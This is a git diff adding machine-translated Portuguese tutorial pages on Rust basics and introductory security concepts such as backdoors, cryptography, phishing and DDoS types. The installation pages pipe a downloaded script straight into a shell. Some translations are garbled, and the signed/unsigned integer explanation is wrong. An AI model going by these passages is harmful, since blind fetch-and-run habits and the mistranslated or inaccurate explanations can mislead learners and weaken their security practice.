+Declaramos nossa variável, `number` , para equivale ao valor de 13. Quando compilamos isso, o Rust sabe que o tipo do número é `i32` , também conhecido como um inteiro de 32 bits. Se quisermos fazer isso _explicitamente_ , podemos declarar a variável da seguinte forma:
+```
+let number: i32 = 13; 
+```
+
+Naturalmente, o `i32` não é o único tipo que podemos especificar. Aqui está uma tabela dos outros tipos `integer` que você pode implementar. Tenha em mente que estes são _de tamanho fixo_ , e o número de bits correspondentes ao tipo é o número de bits que podem ser armazenados nessa variável.
+
+| Tamanho | Assinado | Não assinado | | ----- | ---- | --- | | 8 bits | i8 | u8 | | 16 bits | i16 | u16 | | 32 bits | i32 | u32 | | 64 bits | i64 | u64 |
+
+Assinado ( `i` preceder) e sem sinal ( `u` preceder) representam ou não as variáveis que declaram são positivos ou negativos, respectivamente.
+
+Rust também tem a `isize` e `usize` tipo, o que dependerá da arquitectura do seu computador. Se você estiver em uma arquitetura de 64 bits, terá uma variável de 64 bits. Se você estiver em uma arquitetura de 32 bits, você terá uma variável de 32 bits.
+
+### Flutuadores
+
+O Rust também tem suporte para valores flutuantes ou valores decimais.
+```
+let floaty = 3.0; // type is f64 
+```
+
+A variável `floaty` foi implicitamente declarada como um tipo `f64` ou float de 64 bits. Se você quer um `f32` , você pode coagir uma variável sendo explícito, ou anexando o tipo ao final do valor da variável:
+```
+let float1: f32 = 4.5; // type is f32 
+ let float2 = 5f32;   // type is f32 
+```
+
+Você pode ver que `float2` é agora um `f32` , mesmo que tenha um valor não decimal. Acrescentando um `f32` , nós `float2` para representar um tipo `f32` .
+
+## Booleanos
+
+Em toda linguagem de programação, os valores booleanos ( `true` e `false` ) estão sempre presentes de alguma forma. Rust tem suporte para isso através do tipo `bool` .
+```
+let t = true; 
+ let f: bool = false; 
+```
+
+## Operações Numéricas
+
+Com isso dito, agora podemos usar o Rust para realizar operações numéricas simples. Observe como os tipos são restritos a cálculos apenas com seus próprios tipos.
+```
+let a = 4 + 5;        // => 9 
+ let b = 5.0 - 4.0;    // => 1.0 
+ let c = 3 * 4.0;      // => ERROR! 
+ let d = 6.0 / 2.0;    // => 3.0 
+ let e = 10 % 4;       // => 2 
+```
+
+## Avisos!
+
+Vejamos alguns dos possíveis problemas que já podem estar presentes no Rust. Desde a utilização de dados de forma eficiente e certificando-se que as variáveis ​​que criamos estão realmente sendo usadas, Rust irá lançar avisos para variáveis ​​não utilizadas:
+```
+fn main(){ 
+  let a = 4; 
+  // and now we close our program. 
+ } 
+```
+
+Agora, se nós executarmos este programa:
+```
+warning: unused variable: `a` 
+```
+
+É importante lembrar-se de sempre usar nossas variáveis ​​e, caso contrário, comentá-las ou removê-las!
+
+## Consulte Mais informação:
+
+https://doc.rust-lang.org/book/second-edition/ch03-02-data-types.html
\ No newline at end of file
diff --git a/client/src/guide/portuguese/rust/hello-world/index.md b/client/src/guide/portuguese/rust/hello-world/index.md
new file mode 100644
index 0000000000..5ffeffd9eb
--- /dev/null
+++ b/client/src/guide/portuguese/rust/hello-world/index.md
@@ -0,0 +1,53 @@
+---
+title: Hello World
+localeTitle: Olá Mundo
+---
+## Olá ferrugem
+
+Escrever seu primeiro programa Rust é tão fácil quanto instalá-lo. No diretório do projeto de sua escolha, crie um novo arquivo de origem chamado `main.rs` É importante observar que os arquivos Rust sempre terminam com a extensão `.rs` e os nomes de arquivos com mais de uma palavra são separados por sublinhados. Por exemplo, `helloworld.rs` se tornaria `hello_world.rs` .
+
+Depois de criar `main.rs` , adicione o seguinte código em:
+
+```rust
+fn main() { 
+    println!("Hello, world!"); 
+ } 
+```
+
+Uau! Isso foi fácil, não foi? Dentro de você é novo arquivo `main.rs` , o seguinte é verdadeiro:
+
+*   A primeira linha `fn main()` indica uma _função_ em Rust. A função `main` é especial, é a primeira coisa que é chamada para todo programa Rust executado.
+*   A segunda linha `println!("Hello, world!")` Está chamando uma _macro_ Rust, passando uma _string_ como primeiro argumento. Esta linha imprime a string "Hello, world!" para o terminal. Você pode dizer se você está chamando uma _macro_ Rust ou _função_ através da observação do `!` .
+
+Para executar o programa, você deve primeiro compilá-lo:
+
+```bash
+$ rustc main.rs 
+```
+
+Este processo irá criar um executável no mesmo diretório, que você pode então executar:
+
+```bash
+$ ./main 
+ Hello, world! 
+```
+
+Parabéns! Você acabou de escrever seu próprio programa Rust!
+
+## Olá Cargo
+
+Cargo é a ferramenta de construção que é fornecida com o Rust quando você o instala e pode ser usada para muitas coisas. Aqui vamos ver a abordagem alternativa de uso de carga.
+
+Primeiro, navegue até o diretório pai do seu projeto e execute `cargo new hello_world` . Isto irá criar o diretório do nosso projeto `hello_world` com alguns arquivos dentro dele, sendo o `Cargo.toml` que informa ao `cargo` como construir o seu projeto, assim como o `src/main.rs` que é o nosso arquivo fonte Rust. Se você abrir este arquivo, verá que algum código já foi gerado para que possamos executar o Hello World! Então vamos fazer isso.
+
+Para rodar seu programa com carga, é tão simples quanto rodar o `cargo run` no diretório do seu projeto e deve ser algo como isto:
+
+```bash
+cargo run 
+   Compiling hello_world v0.1.0 
+    Finished dev [unoptimized + debuginfo] target(s) in 1.31s 
+     Running `target/debug/hello_world` 
+ Hello, world! 
+```
+
+Ótimo trabalho agora você tem ainda mais ferramentas à sua disposição!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/rust/index.md b/client/src/guide/portuguese/rust/index.md
new file mode 100644
index 0000000000..da278382bb
--- /dev/null
+++ b/client/src/guide/portuguese/rust/index.md
@@ -0,0 +1,55 @@
+---
+title: Rust
+localeTitle: Ferrugem
+---
+# Ferrugem
+
+## Introdução
+
+Rust é uma linguagem de programação de sistemas focada em três objetivos: segurança, velocidade e simultaneidade. Seu design permite criar programas com desempenho e controle de uma linguagem de baixo nível, mas com as poderosas abstrações de uma linguagem de alto nível. Essas propriedades tornam o Rust adequado para programadores que têm experiência em linguagens como o C e buscam uma alternativa mais segura, além de linguagens como o Python, que estão procurando maneiras de escrever códigos que tenham um desempenho melhor sem sacrificar a expressividade. O Rust executa a maioria de suas verificações de segurança e decisões de gerenciamento de memória em tempo de compilação, para que o desempenho de tempo de execução de seu programa não seja afetado. Isso torna útil em vários casos de uso em que outros idiomas não são bons: programas com requisitos de espaço e tempo previsíveis, incorporação em outros idiomas e gravação de código de baixo nível, como drivers de dispositivo e sistemas operacionais. Também usado para aplicativos da Web também [ativa o](https://www.crates.io) site de registro do pacote Rust, [crates.io](https://www.crates.io) .
+
+Para mais informações, [acesse a página da Rust](https://www.rust-lang.org) .
+
+## Instalação
+
+Os desenvolvedores de ferrugem tornam extremamente fácil instalar e gerenciar ferrugem em seu sistema. Isto é conseguido através da `rustup` da ferramenta, que permite não só instalar o `rustc` , mas também alternar facilmente entre as versões estável, beta e nocturna do compilador e mantê-las atualizadas.
+
+A documentação oficial de instalação pode ser encontrada [aqui](https://doc.rust-lang.org/book/second-edition/ch01-01-installation.html) .
+
+### Linux ou Mac
+
+Se você estiver executando Linux ou Mac, a instalação do `rustup` é melhor feita através do terminal:
+
+```bash
+$ curl https://sh.rustup.rs -sSf | sh 
+```
+
+Isto irá baixar e executar um script para sua máquina que instala a ferramenta. O script de instalação adiciona automaticamente o Rust ao seu sistema `PATH` após o seu próximo login.
+
+### janelas
+
+No Windows, acesse o [site](https://rustup.rs) do [rustup](https://rustup.rs) e siga as instruções para fazer o download do `rustup-init.exe` . Execute isso e siga o restante das instruções que ele fornece.
+
+### Atualizando
+
+Depois de ter instalado `rustup` , atualizando para versões mais recentes é simples. Tudo que você precisa para executar é:
+
+```bash
+$ rustup update 
+```
+
+Para visualizar o número da versão atual, confirmar o hash e confirmar a data do seu compilador de ferrugem, execute o seguinte comando:
+
+```bash
+$ rustc --version 
+ rustc xyz (abcabcabc yyyy-mm-dd) 
+```
+
+### Desinstalando
+
+Desinstalar ferrugem do seu sistema é tão fácil quanto instalá-lo:
+
+```bash
+$ rustup self uninstall 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/rust/installing-rust/index.md b/client/src/guide/portuguese/rust/installing-rust/index.md
new file mode 100644
index 0000000000..fb3ee52cee
--- /dev/null
+++ b/client/src/guide/portuguese/rust/installing-rust/index.md
@@ -0,0 +1,34 @@
+---
+title: Installing Rust
+localeTitle: Instalando Rust
+---
# Instalando Rust
+
+Usar `rustup` é preferido para a instalação Rust. `rustup` instala e gerencia o Rust para o seu sistema.
+
+## Instalando o Rust no Windows
+
+Visite o [site](https://rustup.rs) do [rustup](https://rustup.rs) e baixe o `rustup-init.exe` . Instale-o e então você deve estar pronto para ir!
+
+## Instalando o Rust em outros sistemas operacionais (Mac OS X, Linux, BSD, Unix)
+
+Abra seu terminal e digite este comando:
+
+```sh
+curl https://sh.rustup.rs -sSf | sh 
+```
+
+Isso irá buscar o instalador do `rustup` e, por sua vez, buscará tudo o que você precisa.
+
+# Verificando instalação
+
+Instalar `rustup` irá instalar todas as coisas relevantes para ferrugem, mas o mais relevante é instalar o compilador e o gerenciador de pacotes. Para verificar se tudo está instalado, execute este comando:
+
+```sh
+cargo version 
+```
+
+Agora você poderá usar o Rust!
+
+# Mais Informações
+
+Para saber mais sobre o processo de instalação, visite https://www.rust-lang.org/pt-BR/install.html
\ No newline at end of file
diff --git a/client/src/guide/portuguese/rust/loops/index.md b/client/src/guide/portuguese/rust/loops/index.md
new file mode 100644
index 0000000000..a37a58ef3a
--- /dev/null
+++ b/client/src/guide/portuguese/rust/loops/index.md
@@ -0,0 +1,60 @@
+---
+title: Loops
+localeTitle: rotações
+---
+# rotações
+
+No Rust, existem três tipos de mecanismos de loop nativo: `loop` , `while` e `for` .
+
+## Repetição infinita com `loop`
+
+No Rust, a estrutura de `loop` irá continuamente executar um bloco de código ad infinitum (ou até que você diga explicitamente para parar).
+
+Aqui está um exemplo de programa usando o `loop` para imprimir a palavra 'again' continuamente no terminal:
+
+```rust
+fn main() { 
+    loop { 
+        println!("again!"); 
+    } 
+ } 
+```
+
+## Loop condicional com `while`
+
+O mecanismo acima não é muito útil, a menos que introduzamos algum tipo de condição de parada para o `loop` verificar. Felizmente, o Rust possui uma estrutura de loop embutida chamada `while` , que você pode usar para executar continuamente um bloco de código enquanto alguma condição é verdadeira.
+
+Aqui está um exemplo de programa usando `while` para contar de 5:
+
+```rust
+fn main() { 
+    let mut number = 5; 
+ 
+    while number != 0 { 
+        println!("{}", number); 
+        number = number - 1; 
+    } 
+ } 
+```
+
+Execute o código [aqui](https://play.rust-lang.org/?gist=62677371a8590be27c84dcae7068de57&version=stable) .
+
+## Iterando através de uma coleção `for`
+
+Em alguns casos, convém iterar e operar nos elementos de uma coleção (como uma matriz). Enquanto você pode conseguir isso usando um `while` loop e uma variável de índice para acessar cada elemento, Rust fornece o `for` loop para tornar esta operação mais fácil.
+
+Aqui está um exemplo de programa que imprime cada número em uma matriz para o terminal usando `for` :
+
+```rust
+fn main() { 
+    let collection = [15, 7, 2, 6, 9]; 
+ 
+    for element in collection.iter() { 
+        println!("the value is: {}", element); 
+    } 
+ } 
+```
+
+Execute o código [aqui](https://play.rust-lang.org/?gist=0c2acf21b96a81ebd411e4a7dc5a19fd&version=stable) .
+
+Assim como os iteradores em C ++, a função `.iter()` retorna um iterador para a `collection` , que pode então ser colocada em loop para acessar cada `element` . Para mais informações, dirija-se à documentação do Rust sobre o [fluxo de controle](https://doc.rust-lang.org/book/second-edition/ch03-05-control-flow.html) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/backdoors/index.md b/client/src/guide/portuguese/security/backdoors/index.md
new file mode 100644
index 0000000000..74a9e1ba37
--- /dev/null
+++ b/client/src/guide/portuguese/security/backdoors/index.md
@@ -0,0 +1,22 @@
+---
+title: Backdoors
+localeTitle: Backdoors
+---
+## Backdoors
+
+Um backdoor em software ou em um sistema de computador geralmente é um portal não documentado que permite que um administrador entre no sistema para solucionar problemas ou fazer manutenção. Mas também se refere a um portal secreto que hackers e agências de inteligência usam para obter acesso ilícito.
+
+Um backdoor tem vários significados. Pode se referir a um ponto de acesso legítimo incorporado em um sistema ou programa de software para administração remota.
+
+Geralmente, esse tipo de backdoor não é documentado e é usado para manutenção e manutenção de software ou de um sistema. Alguns backdoors administrativos são protegidos com um nome de usuário e senha codificados que não podem ser alterados; embora alguns usem credenciais que podem ser alteradas. Muitas vezes, a existência da backdoor é desconhecida do proprietário do sistema e é conhecida apenas pelo fabricante do software. Os backdoors administrativos internos criam uma vulnerabilidade no software ou sistema que os intrusos podem usar para obter acesso a um sistema ou dados.
+
+Os atacantes também podem instalar seu próprio backdoor em um sistema direcionado. Isso permite que eles entrem e saiam da maneira que quiserem e lhes dá acesso remoto ao sistema. O malware instalado em sistemas para essa finalidade é geralmente chamado de cavalo de Troia de acesso remoto, ou RAT, e pode ser usado para instalar outros malwares no sistema ou exfiltrar dados.
+
+Backdoors de outro tipo ganharam notoriedade em 2013, quando documentos da NSA divulgados na mídia pelo denunciante Edward Snowden revelaram um esforço de décadas da agência de espionagem, em parceria com o britânico GCHQ, para pressionar empresas a instalar backdoors em seus produtos. Eles particularmente focaram a pressão sobre os fabricantes de sistemas de criptografia. Esses backdoors secretos permitem que as agências de inteligência contornem ou minem as proteções de segurança e acessem sistemas e dados de forma clandestina.
+
+Um dos casos backdoor mais controversos envolveu os esforços relatados pela NSA para enfraquecer intencionalmente um algoritmo de criptografia conhecido como NIST SP800-90 Dual Ec Prng, de modo que quaisquer dados criptografados com o algoritmo seriam suscetíveis a falhas pela NSA.
+
+### Mais Informações:
+
+*   O que é um backdoor: [Incapsula](https://www.incapsula.com/web-application-security/backdoor-shell-attack.html)
+*   Artigo de backdoor: [Wikipedia](https://en.wikipedia.org/wiki/Backdoor_(computing))
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/bug-bounties/index.md b/client/src/guide/portuguese/security/bug-bounties/index.md
new file mode 100644
index 0000000000..eb02cbec94
--- /dev/null
+++ b/client/src/guide/portuguese/security/bug-bounties/index.md
@@ -0,0 +1,19 @@
+---
+title: Bug Bounties
+localeTitle: Refeições Bug
+---
+## Refeições Bug
+
+As recompensas de bugs são programas que são configurados pelas empresas para incentivar as pessoas a verificarem seus produtos em busca de vulnerabilidades. Em troca, essas empresas oferecem prêmios em dinheiro pelas vulnerabilidades descobertas.
+
+### Benefícios para os caçadores de recompensas
+
+Os benefícios para os caçadores de recompensas são bastante diretos. Eles são pagos pelo que encontram e conseguem melhorar suas habilidades
+
+### Benefícios para empresas
+
+As empresas que patrocinam esses programas ganham vários benefícios:
+
+*   Muitos olhos em seus produtos são mais propensos a encontrar mais bugs do que a típica equipe de controle de qualidade
+*   Só tem que pagar por resultados, não pelo tempo gasto tentando encontrar bugs
+*   Incentiva as pessoas que encontram vulnerabilidades a entregá-las à empresa e não ao mercado negro.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/confidentiality-integrity-availability/index.md b/client/src/guide/portuguese/security/confidentiality-integrity-availability/index.md
new file mode 100644
index 0000000000..84a370b5b5
--- /dev/null
+++ b/client/src/guide/portuguese/security/confidentiality-integrity-availability/index.md
@@ -0,0 +1,70 @@
+---
+title: Confidentiality Integrity Availability
+localeTitle: Disponibilidade de Integridade de Confidencialidade
+---
+## Confidencialidade, Integridade, Disponibilidade (CIA)
+
+Confidencialidade, Integridade e Disponibilidade ou a tríade da CIA é o conceito mais fundamental em segurança cibernética. Serve como princípios orientadores ou metas de segurança da informação para organizações e indivíduos manterem a informação protegida de olhares indiscretos.
+
+### Confidencialidade
+
+Confidencialidade é garantir que o acesso aos dados seja restrito apenas ao público-alvo e não a outros. Como você pode esperar, quanto mais sensível for a informação, mais rigorosas deverão ser as medidas de segurança. Muitas leis de privacidade dependem de controles de segurança de confidencialidade para impor requisitos legais.
+
+Algumas medidas para manter as informações confidenciais são:
+
+*   Encriptação
+*   Senha
+*   Autenticação de dois fatores
+*   Biométrico
+*   Tokens de segurança
+
+### Integridade
+
+Integridade refere-se à manutenção da exatidão e integridade dos dados. Em outras palavras, trata-se de proteger dados de serem modificados por partes não autorizadas, acidentalmente por partes autorizadas, ou por eventos não causados ​​por humanos, como pulso eletromagnético ou falha do servidor. Por exemplo, um hacker pode interceptar dados e modificá-los antes de enviá-los ao destinatário pretendido.
+
+Medidas para manter a integridade das informações incluem:
+
+*   Encriptação
+*   Hashing
+*   Controles de acesso do usuário
+*   Checksums
+*   Controle de versão
+*   Backups
+
+### Disponibilidade
+
+Por fim, as informações devem estar disponíveis quando necessário. Para garantir alta disponibilidade de dados, você deve manter um hardware e software funcionando corretamente e fornecer largura de banda adequada. Mas essas medidas por si só não são suficientes porque existem forças externas em jogo; a disponibilidade de dados pode ainda ser comprometida por:
+
+*   Negação de Serviço (DoS)
+*   Quedas de energia
+*   Desastres naturais
+
+DoS, por exemplo, pode ser empregado por uma empresa rival para quebrar seu site para que seu próprio site se torne mais popular.
+
+Medidas para mitigar ameaças à disponibilidade incluem:
+
+*   Backups fora do site
+*   Recuperação de desastres
+*   Redundância
+*   Failover
+*   RAID
+*   Clusters de alta disponibilidade
+
+### Desafios para a Tríade CIA
+
+Desafios especiais para a tríade da CIA:
+
+**O Big Data** representa desafios adicionais ao paradigma da CIA devido ao grande volume de informações que precisam ser protegidas, à multiplicidade de fontes de origem e à variedade de formatos em que elas existem. Conjuntos de dados duplicados e planos de recuperação de desastres podem multiplicar os custos já elevados. Além disso, como a principal preocupação do big data é coletar e fazer algum tipo de interpretação útil de toda essa informação, a falta de supervisão responsável dos dados é muitas vezes inexistente.
+
+**Internet of Things privacidade** são as considerações especiais necessárias para proteger as informações dos indivíduos da exposição no ambiente de IoT, em que quase qualquer entidade ou objeto físico ou lógico pode receber um identificador único e a capacidade de se comunicar autonomamente pela Internet ou por um semelhante rede. Os dados transmitidos por um determinado endpoint podem não causar problemas de privacidade por conta própria. No entanto, quando dados fragmentados de vários pontos de extremidade são reunidos, agrupados e analisados, ele pode gerar informações confidenciais.
+
+**A segurança da Internet das Coisas** também é um desafio especial, pois a IoT consiste em muitos dispositivos habilitados para Internet, além dos computadores, que geralmente não são corrigidos e geralmente são configurados com senhas padrão ou fracas. A menos que sejam adequadamente protegidos, as coisas de IoT podem ser usadas como vetores de ataque separados ou parte de um thingbot. À medida que mais e mais produtos são desenvolvidos com a capacidade de serem conectados em rede, é importante considerar rotineiramente a segurança no desenvolvimento de produtos.
+
+### Mais informações: [Confidencialidade, integridade e disponibilidade (tríade da CIA)](http://whatis.techtarget.com/definition/Confidentiality-integrity-and-availability-CIA)
+
+Além da tríade da CIA, há também outros temas recorrentes na segurança da informação:
+
+*   não-repúdio: garantia de que alguém / alguma coisa não pode negar algo (por exemplo, não se pode negar a autenticidade de uma assinatura digital)
+*   autenticação: provar que uma pessoa é quem afirma ser
+*   confiabilidade: confiança de que se pode depender de um sistema ou processo
+*   privacidade: uma contrapartida generalizada de confidencialidade que também aborda a consequência social de não cumprir o requisito
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/cryptography/index.md b/client/src/guide/portuguese/security/cryptography/index.md
new file mode 100644
index 0000000000..f355b52d13
--- /dev/null
+++ b/client/src/guide/portuguese/security/cryptography/index.md
@@ -0,0 +1,59 @@
+---
+title: Cryptography
+localeTitle: Criptografia
+---
+## Criptografia
+
+O objetivo básico da criptografia é permitir que duas pessoas se comuniquem através do canal inseguro de tal maneira que uma terceira pessoa não possa entender o que está sendo dito. Este canal pode ser uma linha telefônica ou uma rede de computadores.
+
+A criptografia começou a ser usada pelos romanos para tornar as mensagens em batalha ilegíveis pelo inimigo se decifrassem.
+
+A criptografia anterior à era moderna era efetivamente sinônimo de criptografia, a conversão de informações de um estado legível em aparente absurdo.
+
+A criptografia moderna é usada em dados para que apenas uma parte ou apenas partes autorizadas tenham a capacidade de acessar as informações.
+
+A criptografia ao longo dos anos tornou-se mais avançada.
+
+### Exemplo
+
+As informações que Person1 deseja enviar para Person2, que chamamos de "texto sem formatação", podem ser texto, dados numéricos ou qualquer tipo de dado. Pessoa1 criptografa o texto simples, usando uma chave predeterminada e envia o "texto cifrado" resultante sobre o canal. Person3, ao ver o texto cifrado no canal, não pode determinar qual era o texto original, mas Person2, que conhece a chave de criptografia, pode descriptografar o texto cifrado e reconstruir o texto simples.
+
+### César Cypher (Shift Cypher)
+
+O primeiro cypher conhecido foi o cypher Ceasar. A cifra Ceasar funciona mudando as letras de um "texto simples" por uma quantidade específica para cima ou para baixo no alfabeto.
+
+Do ponto de vista de uma pessoa externa, a mensagem parece ser letras aleatórias com espaços entre elas.
+
+### Criptografia Moderna
+
+A criptografia moderna usa números quase aleatórios e funções matematicamente sólidas para permitir uma comunicação segura. Essas funções recém-desenvolvidas não podem ser facilmente quebradas devido à sua estrutura, exigindo que até mesmo centenas de anos de supercomputadores sejam quebrados.
+
+Existem dois tipos principais de criptografia moderna:
+
+### 1) Criptografia Simétrica ou de Chave Única:
+
+A Criptografia de Chave Simétrica é um método de criptografia em que ambas as partes usam apenas uma chave para criptografia e descriptografia. Esses algoritmos, devido ao seu design, geralmente são muito mais rápidos do que a criptografia de chave pública ou assimétrica.
+
+Algumas técnicas de criptografia simétrica incluem: Data Encryption Standard (DES), Advanced Encryption Standard (AES), Blow Fish, Dois Peixes, RC4.
+
+### 2) Criptografia de chave pública ou assimétrica:
+
+Os algoritmos de criptografia assimétrica fornecem a cada usuário um par de chaves: uma pública e outra privada. Qualquer mensagem criptografada com uma chave do par só pode ser descriptografada com a outra.
+
+Algumas técnicas assimétricas incluem: RSA, Diffie-Hellman, DSS (assinatura digital padrão), ElGamal.
+
+### Hashing Criptográfico
+
+A maioria das funções hash criptográficas é projetada para obter uma string de qualquer comprimento como entrada e produzir um valor de hash de tamanho fixo.
+
+Uma função hash criptográfica deve ser capaz de suportar todos os tipos conhecidos de ataque criptográfico.
+
+### Hashing de Criptografia
+
+Uma função hash criptográfica é um tipo de função hash que é projetada para também ser uma função unidirecional (uma função que leva muito tempo e recursos para a força bruta). O principal objetivo dos hashes é lidar com a intregridade da mensagem, portanto, a mesma mensagem sempre resulta no mesmo hash.
+
+#### Mais Informações:
+
+*   [Criptografia: teoria e prática por Douglas Stinson](https://www.crcpress.com/Cryptography-Theory-and-Practice-Third-Edition/Stinson/p/book/9781584885085)
+*   [TechTarget on Encryption](http://searchsecurity.techtarget.com/definition/encryption)
+*   [Guia de criptografia](https://www.tutorialspoint.com/cryptography/index.htm)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/cyberattacks/index.md b/client/src/guide/portuguese/security/cyberattacks/index.md
new file mode 100644
index 0000000000..a1025fb56d
--- /dev/null
+++ b/client/src/guide/portuguese/security/cyberattacks/index.md
@@ -0,0 +1,36 @@
+---
+title: Cyberattacks
+localeTitle: Ataques cibernéticos
+---
+Um ataque cibernético se refere à exploração ou “pirataria” de sistemas de computadores, infraestruturas, redes de computadores e / ou dispositivos de computadores pessoais que usam códigos maliciosos. O objetivo de um ataque cibernético na maioria das vezes é roubar, modificar ou destruir informações.
+
+O motivo para o lançamento de um ciberataque pode variar de financeiro a político e ideológico. Há também hackers que se infiltram nos sistemas como forma de entretenimento.
+
+Os ataques cibernéticos podem ser direcionados e não direcionados, e os mecanismos empregados pelos hackers são diferentes. Em um ataque direcionado, os cibercriminosos podem usar spear-phishing, em que o e-mail contendo código malicioso oculto em um anexo de arquivo é enviado para os indivíduos-alvo. O código malicioso poderia, por exemplo, instalar-se no dispositivo de destino e enviar informações de volta ao seu criador. Quando isso acontece, chamamos o dispositivo da vítima de uma botnet ou de um computador zumbi.
+
+Um ataque cibernético também pode ser não segmentado. O exemplo clássico de tais ataques é o phishing, em que os cibercriminosos enviam e-mails para um grande grupo de pessoas que se disfarçam como uma organização legítima para incentivar os usuários a compartilhar informações confidenciais ou visitar um site falso. Alternativamente, o hacker poderia comprometer um site legítimo e plantar um malware (software malicioso) pelo qual os visitantes seriam infectados. Em 2017, um site do governo ucraniano foi infectado por um malware que apaga os discos rígidos dos visitantes.
+
+Um dos maiores ataques cibernéticos até hoje é o hack do Yahoo, isso afetou todos os 3 bilhões de contas de usuários. O hack foi perigoso, pois expunha nomes de usuários, endereços de e-mail, números de telefone, DOB, senhas criptografadas e questões de segurança não criptografadas. Este ataque prova que não importa quão grande seja uma empresa, ninguém pode ser 100% que seus dados estão seguros.
+
+## Tipos comuns de ataques cibernéticos
+
+*   Malware
+*   Phishing
+*   Ataque de injeção de SQL
+*   Exploração de Vulnerabilidade
+*   Scripts entre sites (XSS)
+*   Ataques por senha
+*   Ataques de negação de serviço (DoS)
+*   Homem no meio (MITM)
+*   Reutilização de credenciais
+*   Software desonesto
+*   Envenenamento ARP (Rede Pentest)
+*   Senha Bruteforce
+*   Inclusão de arquivos locais / remotos (Web App Pentest)
+*   Referência de Objeto Indireto (IDOR)
+*   Negação Distribuída de Serviço (DDoS)
+*   Ataque de Tróia
+*   Wifi-Phishing
+*   Envenenamento de DNS
+*   Spoofing por e-mail
+*   KRACK (ataque de reinstalação chave)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/cyberattacks/phishing/index.md b/client/src/guide/portuguese/security/cyberattacks/phishing/index.md
new file mode 100644
index 0000000000..ace978ab5c
--- /dev/null
+++ b/client/src/guide/portuguese/security/cyberattacks/phishing/index.md
@@ -0,0 +1,25 @@
+---
+title: Phishing
+localeTitle: Phishing
+---
+## Phishing
+
+O phishing é uma forma de ataques cibernéticos usando engenharia social, que engana o usuário para fornecer detalhes pessoais ao invasor, como nome de usuário, senhas e números de cartão de crédito, geralmente fingindo ser uma organização confiável.
+
+Os cibercriminosos geralmente enviam e-mails de phishing para endereços de e-mail aleatórios, para que qualquer pessoa possa se tornar vítima de phishing. No entanto, os hackers podem optar por lançar um ataque de phishing em uma organização ou pessoa específica em um ataque de "spear phishing".
+
+Um ataque de phishing pode ser de qualquer canal de comunicação, de e-mail a telefonemas. Você pode, por exemplo, receber um e-mail solicitando a alteração de sua senha devido a uma violação de segurança. Para criar um senso de confiança, os cibercriminosos usarão o mesmo logotipo e design de e-mail que os da organização que pretendem ser. É por isso que os e-mails de phishing podem ser difíceis de detectar.
+
+Para se proteger contra e-mails de phishing, você deve procurar sinais como estes:
+
+*   O email não é endereçado pelo seu nome. Como mencionado, os hackers enviam e-mails de phishing aleatoriamente e provavelmente não saberiam seu nome real.
+*   O email tem erros gramaticais ou ortográficos
+*   O email contém links que levariam ao destino diferente do texto. Você pode verificar o destino de um link sem clicar nele passando o mouse sobre o link
+*   O endereço de e-mail do remetente parece de uma organização confiável, mas pode ser um pouco diferente. Por exemplo, você pode receber um e-mail de `hello@goog1e.com` vez de `hello@google.com` , onde o primeiro usa o número `1` para substituir o caractere `l` .
+
+Embora as chamadas telefônicas de phishing sejam menos comuns, você deve estar sempre atento a elas. A maioria das grandes empresas não fará chamadas telefônicas não solicitadas para seus clientes, portanto, você deve aplicar ceticismo a todas as chamadas frias recebidas.
+
+## Mais Informações:
+
+*   [SonicWall - Teste seu QI de Phishing](https://www.sonicwall.com/en-us/phishing-iq-test)
+*   [Phishing.Org - Técnicas comuns de phishing](http://www.phishing.org/phishing-techniques)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/ddos-denial-of-service-attacks/index.md b/client/src/guide/portuguese/security/ddos-denial-of-service-attacks/index.md
new file mode 100644
index 0000000000..5d52f89a8d
--- /dev/null
+++ b/client/src/guide/portuguese/security/ddos-denial-of-service-attacks/index.md
@@ -0,0 +1,84 @@
+---
+title: DDoS Distributed Denial of Service
+localeTitle: Negação de Serviço Distribuída DDoS
+---
+Um ataque de negação de serviço (DOS) ocorre quando o invasor tenta interromper os serviços de um servidor, bombardeando-o com várias solicitações falsas e impedindo que usuários reais acessem o serviço. Um ataque distribuído do DOS ocorre quando o ataque acontece de vários locais ao mesmo tempo, dificultando muito a detecção e o tratamento do ataque pela equipe de segurança cibernética.
+
+Um ataque DDoS (Distributed Denial of Service) é uma tentativa de indisponibilizar um serviço online ou um site sobrecarregando-o com grandes inundações de tráfego geradas por várias fontes.
+
+Ao contrário de um ataque Denial of Service (DoS), no qual um computador e uma conexão com a Internet são usados ​​para inundar um recurso direcionado com pacotes, um ataque DDoS usa muitos computadores e muitas conexões com a Internet, geralmente distribuídas globalmente no que é chamado de botnet. .
+
+Ataques DDoS são geralmente direcionados a grandes corporações onde a negação de um serviço por alguns minutos pode se traduzir em milhões de dólares perdidos.
+
+Existem vários tipos de ataques de DDoS e o melhor ataque é determinado examinando as vulnerabilidades do alvo.
+
+### Tipos de ataques DDoS
+
+Os ataques DDoS podem ser categorizados em três categorias -
+
+1.  Ataques baseados em volume
+2.  Protocolos de ataques
+3.  Ataques de camada de aplicativo
+
+### Ataques Baseados em Volume
+
+Ataques baseados em volume incluem inundações de TCP, inundações de UDP, inundações de ICMP e outras inundações de spoofedpacket. Estes também são chamados de ataques de camada 3 e 4 \*. Aqui, um invasor tenta saturar a largura de banda do site de destino. A magnitude do ataque é medida em bits por segundo (bps).
+
+*   **UDP Flood** - Um flood UDP é usado para inundar portas aleatórias em um host remoto com vários pacotes UDP, mais especificamente o número de porta 53. Firewalls especializados podem ser usados ​​para filtrar ou bloquear pacotes UDP mal-intencionados.
+    
+*   **Flooding ICMP** - É semelhante ao flood UDP e usado para inundar um host remoto com várias solicitações de eco ICMP. Esse tipo de ataque pode consumir largura de banda de saída e de entrada e um grande volume de solicitações de ping resultará em lentidão geral do sistema.
+    
+*   **HTTP Flood** - O invasor envia solicitações HTTP GET e POST para um servidor da Web de destino em um grande volume que não pode ser manipulado pelo servidor e leva à negação de conexões adicionais de clientes legítimos.
+    
+*   **Ataque de amplificação** - O atacante faz uma solicitação que gera uma grande resposta que inclui solicitações de DNS para grandes registros TXT e solicitações HTTP GET para arquivos grandes, como imagens, PDFs ou qualquer outro arquivo de dados.
+    
+
